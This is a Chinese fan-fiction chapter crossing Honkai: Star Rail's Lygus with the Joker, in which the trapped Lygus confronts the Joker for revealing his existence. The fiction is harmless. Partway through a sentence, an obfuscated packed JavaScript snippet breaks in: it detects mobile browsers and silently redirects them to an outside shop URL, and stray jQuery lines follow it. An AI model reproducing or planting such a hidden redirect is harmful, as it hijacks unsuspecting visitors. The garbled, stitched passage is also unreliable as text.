创世涡心的天空是深蓝色的。天空中没有太阳,没有月亮,没有星星,只有十二个图案围成一个巨大的半圆环,悬浮在苍穹之上。那些图案的线条是金色的,在深蓝色的背景上缓慢地流转着。
来古士站在祭坛前。他最上面的两只手交叠在胸前,最下面的两只自然下垂,姿态从容得像一尊雕像。他的表情看不出任何情绪。那张脸上永远挂着一种礼貌的、恰到好处的微笑。
但他的心不是。
他闭上眼睛,又睁开。深蓝色的天空倒映在他的瞳孔里,那十二个金色的图案在他眼中缩成了十二个微小的光点。
他被困在这里。
这个事实他不愿意承认,但不愿意承认不代表它不是真的。创世涡心——他曾以为自己是这里的主人,是管理员,是第一推动者。他可以修改权杖的演算方程式,可以将求解“生命第一因”的智识命途转向孕育毁灭的方向,可以在翁法罗斯的模拟世界中操纵无数人的命运,像摆弄棋盘上的棋子。
但他出不去。
来古士看着祭坛上方那个缓缓旋转的漩涡,看着漩涡中央那片说不清颜色的空洞,嘴角的微笑没有变化,但他的手指收拢了一寸。
他选错了人。
他把小丑的意识拉进创世涡心的时候,以为自己做了一个聪明的选择。哥谭,犯罪之都,阿卡姆疯人院,全美最危险的精神病患聚集地。他需要在这座城市找到一个能帮他做事的人。不是直接帮他——他不需要那种“直接”的帮助。他需要一个人,一个在哥谭有足够影响力的人,一个能让这座城市按照他的意愿运转的人,一个能在他无法亲自出手的时候替他推动那些必须被推动的棋子的人。
他扫描了哥谭所有人的意识光点。那些光点在他“眼中”呈现出不同的颜色——愤怒的是红色的,恐惧的是灰色的,疯狂的是紫色的,冷静的是蓝色的。他看到了很多红色,很多灰色,很多紫色。他看到了一个不太一样的,闪烁着一种他从未见过的、混杂着绿和金的光点。他把那道光点拉进了创世涡心。
然后他见到了小丑。
来古士闭上了眼睛。他在心里把那个场景回放了一遍。小丑站在他的祭坛前,穿着阿卡姆疯人院的橙色囚服,头发绿得像塑料草坪,嘴角咧着一个不可能更宽的弧度。他看着来古士的四只手臂,看着祭坛上方那个缓缓旋转的漩涡,看着深蓝色天空中那十二个金色的图案,然后笑了。笑了很久。笑弯了腰,笑出了眼泪,笑得整个人像一片在狂风中翻滚的叶子。
来古士等他笑完了,“我需要你帮我做一些事。”来古士的声音很平静,语气温和得像一位在招待远道而来的客人的主人。
小丑擦了擦眼角,歪着头看着他。
“你要我做什么?杀人?放火?炸掉哥谭的某座桥?还是——哦,或者你想让我帮你把那十二个图案从天上摘下来?”他用下巴指了指天空中的金色图案,“它们看起来好重,我可能搬不动。”
“都不是。”来古士说,“你只需要在哥谭替我留意一些人。他们不属于这个世界,和你见过的所有人都不同。如果他们出现了,告诉我。同时,我会赐予你一些不属于这个世界的……能力。”
“这会很有趣……对吧?但是,告诉你?”小丑偏了偏头,“怎么告诉?写信?打电话?烧纸钱?”
“当你沉眠的时候。”来古士说,“我会来找你。”
小丑眨了眨眼。然后他的眼睛亮了,“你的意思是——你可以进到我的梦里?每天晚上?不管我想不想?”
“对。”来古士回答。
小丑的脸上浮现出一种介于虔诚和嘲讽之间的表情,很难说哪个更多一些。
“这是我近期收到过的最好的礼物。”他说。
来古士没有接这句话。他做了一个轻微的手势,像挥了一下看不见的拂尘。
“记住你的任务。”他说。
小丑的意识被他送回了阿卡姆疯人院的囚室里。来古士站在祭坛前,看着创世涡心的天空,十二个金色的图案在他的瞳孔里缓慢地流转着。他没有想到的是,那个人的意识比他预想的更——他找了一个词——不稳定。他在和小丑沟通的时候,永远无法确定自己得到了什么。有时候小丑会在听到他说“不要暴露我的存在”之后认真地点头,表情认真得像一个在听老师讲课的小学生。然后第二天他就会在创世涡心的空间里用一百种不同的方式表演“如何用一句话把来古士的存在说出去”,每一种都比上一种更离谱、更有创意、更让人想把他送回阿卡姆然后永远不再拉他进来。
但来古士没有别的选择。他在哥谭扫描了无数个意识光点,只有小丑的亮度和颜色足够让他精准定位。不是因为他有多强大,而是因为他太特殊了,特殊到来古士在茫茫人海中一眼就能看到他。那道光点像一盏在黑暗中亮起的霓虹灯,刺眼的,鲜亮的,想不看到都难。
来古士站在祭坛前,把这件事又想了一遍。他告诉自己,下次他会更谨慎地选择。但“下次”什么时候来,他不知道。把一个人的意识拉进创世涡心需要消耗大量的能量,不是随随便便就能做的事情。他养精蓄锐这么长时间,才堪堪
他正在恢复。
然后他感知到了——小丑在阿卡姆的囚室里,和一个人说话。
来古士的意识穿过创世涡心的壁垒,穿过哥谭灰蒙蒙的天空,穿过阿卡姆疯人院厚重的石墙,落在走廊尽头那扇没有编号的铁门前。他看到了白厄——穿着黑斗篷,带着面具的白厄。那个人站在铁门外,黑色斗篷遮住了整张脸,他的意识光点在来古士的感知中亮得像一团刚被点燃的恒星,明亮得几乎刺眼。
然后小丑开口了。说出了那些话——“那位铁皮人”,“他不欢迎你们”,“我好像一不小心说太多了”。
来古士的意识在黑暗中停顿了一瞬。他站在祭坛前,表情没有变化,微笑还在,礼貌还在,那层恰到好处的温和还在。但他的手指嵌进了掌心,指甲嵌进了皮肤——如果他有指甲和皮肤的话。
他强行把小丑的意识拉了回来。
创世涡心的天空依然深蓝,十二个金色图案依然缓慢流转,祭坛上方的漩涡依然无声旋转。小丑站在祭坛前,穿着一身意识投影出来的西装——黑色,剪裁得体,领口别着一朵红色假花。他的头发是绿色的,绿得发亮,绿得像一片在阳光下暴晒了几个月的塑料草坪。他的嘴角咧着。
“你——”来古士的声音从喉咙里出来,但他在那之后停了一下。
他需要控制自己的语气。他不能让这个人看到他的情绪。不是因为他怕他,而是因为情绪是人类最容易利用的破绽。来古士不是人类,但他清楚这一点。他把那两个字后面的所有情绪都咽了回去。
“我记得我说过,不要暴露我的存在。”
小丑低头看了看自己的西装,伸手把那朵红色假花的位置调整了一下,往左偏了半寸,又往右偏了半寸,最后把它摘下来,别到了胸前的口袋里。
“你说过吗?”他抬起头,脸上带着一种“我可能忘了但我其实没忘”的表情。
来古士看着他。
“哦——我想起来了,你说过。”小丑替他回答了,点点头,语气认真得像在课堂被点名回答问题,“你说的是——‘不要告诉任何人’。原话,我记得很清楚,我的记忆力其实挺好的,你不要被我的外表骗了!”
他指了指自己的脑袋。“这里面装的东西,比你想象的多。”
来古士的两只手臂垂在身侧,最上面那只右手的指尖微微动了一下。“那你还说出去?”
小丑歪了歪头,看着来古士。他的表情变了——不是变狰狞,而是变得更亮了。
“我不喜欢守规矩。”小丑说,语气轻快得像在说“我不喜欢吃胡萝卜”,“从小就不喜欢。我妈妈跟我说‘不要把手伸进糖罐里’——你知道我做了什么吗?”
他把手伸进了不存在的糖罐里,抓了一把空气,塞进嘴里,嚼了两下,做出一个甜到发腻的表情。
“而且这样很有趣!不是吗?你不觉得吗?”
来古士看着他。小丑站在他的祭坛前,穿着意识投影出来的黑色西装,胸前的口袋里别着一朵红色假花,绿头发在创世涡心的深蓝色光线下显得格外刺眼。他是整个创世涡心最不和谐的存在,像一个被P进古典油画里的卡通人物,格格不入到了一种荒谬的程度。
来古士想——他把这个人的意识拉进来,是因为他的光点足够符合。哥谭的夜空中有无数光点,红的、灰的、紫的、蓝的,但小丑的光点是特殊的。这种特殊的光点意味着某种特殊的能力、某种潜在的价值、某种他可以利用的力量。但他错了。这种颜色的光点只意味着一件事——这个人是疯狂的。不是普通的疯,是一种不能用任何理论解释的疯狂。
来古士在创世涡心的深蓝色光影中看着小丑,想起了人类的一句谚语。别跟傻瓜吵架,旁人会分不清谁是傻瓜。他现在觉得自己就是那个傻瓜。
“Joker。”来古士开口了,声音依然是温和的,礼貌的,但小丑注意到他用的是“小丑”而不是“你”。这是一个微妙的信号,意味着来古士在认真地跟他说话。
“嗯?”小丑歪着头。
“我找你,是因为你是哥谭最危险的人。我需要你的力量,你的影响力,你在哥谭这座城市的每一个角落都留下的不可磨灭的印记。我以为你会成为一个合格的合作者。”
小丑眨了眨眼。他的表情在那一瞬间变了。但那个表情只持续了不到一秒,然后小丑又笑了。
“合格?”小丑把这个词放在嘴里咀嚼了两下,像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597090|203960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在品尝一颗味道不太确定的糖果,“我不合格的,甜心。我从来不合格。我不是‘合格’那两个字能形容的人。我不是‘合格’那两个字能形容的东西。”
来古士的做了一个很轻微的动作,“作为合作者,我'听'到了你给那个人的信息。”他说,语速比刚才慢了一些,“你说,‘那位铁皮人似乎不欢迎你们,好像有点生气了’。你不该告诉他们我的存在。他们会顺着这条线索追查,会缩小他们的搜索范围,会更快地定位到我的位置。”
“你的位置?”小丑环顾了一下创世涡心的深蓝色天空、金色图案、无声旋转的漩涡,然后看向来古士,“你有位置吗?你不是被困在这里吗?”
来古士没有回答。
他的微笑还在。但如果你仔细看——如果你有足够的耐心、足够的时间、足够的勇气去仔细看那张永远挂着礼貌微笑的脸——你会注意到他的嘴角有一道非常非常细的、不自然的僵硬。
“你出不去。”小丑替他回答了。他蹲下来,蹲在祭坛的台阶上,两只手托着腮,仰头看着来古士,绿头发从他额前垂下来,遮住了半只眼睛。“所以你才找我。不是因为你想找我,是因为你只能找我。”
来古士沉默了一瞬。
“哥谭只有我吗?”小丑偏了偏头,“这么大一座城市,只有我的光点够亮?其他人都太暗了?太模糊了?还是——太普通了?哦,要是真的是这样的话,我倍感荣幸。”
来古士没有回答。
“你不说我也知道。”小丑站起来,拍了拍西装裤上不存在的灰,“我什么都知道。我只是大多数时候装作不知道。因为如果我说我知道,大家就会觉得我很可怕。可我不想让大家觉得我可——好吧,我想。我就是想让大家觉得我很可怕,但我想让大家觉得我可怕的方式是——”
他伸出一根手指,在空气中画了一个大大的笑脸。
“——这样。”
来古士看着他,看了两秒、五秒、八秒。
“回去吧。”他说。
小丑歪着头。“Sweetie,你生气了?”
“没有。”
“你生气了。我能看出来。你虽然一直在笑,但你的笑是假的。你真正的表情——”
小丑伸出手,食指指向来古士的脸,在空中停了一下,然后缓缓地、慢慢地、像一个画家在画布上落下最后一笔一样,把手指收了回来。
“——在眼睛后面。”
来古士最上面那只右手抬了起来,手掌朝外,指节微曲。这是一个道别的手势,也是一个送客的手势。
“回去。”他又说了一遍。
小丑笑了。不是大笑,不是尖笑,是一种安静的、像水波一样慢慢扩散开的、从嘴角一直蔓延到眼睛再到整张脸的笑。
“好。”他说,“那我回去了。下次你想我的时候,记得叫我。我叫——”
他把手拢在嘴边,做了一个呼喊的姿势,但什么声音都没发出来。他用口型说出那个名字。
J-O-K-E-R。
然后他的意识消散了。
来古士站在祭坛前,四只手臂垂在身侧,看着小丑消失的位置。
创世涡心的天空依然是深蓝色的。十二个金色图案依然在缓慢流转。祭坛上方的漩涡依然无声旋转。一切都没有变。一切都和之前一样。
但他的心不是。
他闭上眼睛,把意识沉入创世涡心最深处的黑暗中。那里没有光,没有声音,没有任何感知。只有他自己,和他的——他不愿意称之为“愤怒”的那个东西。
他找错了人。
他明明可以选择另外的反派,无论是有智商或有武力的。但他在哥谭,这座最为矛盾的城市,这里的人大多也不正常。
他只能选这座城市的意识光点。而他选中了小丑,因为他太亮了,亮到其他所有光点都显得暗淡,显得模糊,显得不值得一看。但亮不等于正确。亮不等于可控。亮不等于——合作。小丑不是任何人的合作者。小丑是小丑。他会在你要求他保守秘密的时候把秘密说出去,不是因为他想说,是因为他不想按照你说的做。他会把你说的一切都当成游戏规则,然后打破它,因为打破规则本身就是游戏的一部分。
来古士睁开眼。
他看着祭坛上方那个缓缓旋转的漩涡,看着漩涡中央那片说不清颜色的空洞。他的嘴角依然挂着那个微笑。
他告诉自己——下一次,他会找到另一个人。但眼下,他得想想接下来的计划了。
哥谭不止小丑。哥谭还有很多人。他需要的只是恢复足够的力量,去扫描更深处的意识光点,去定位那些隐藏在阴影中的、比小丑更暗但更稳定的存在。
他需要时间。
而来古士最不缺的东西,就是时间。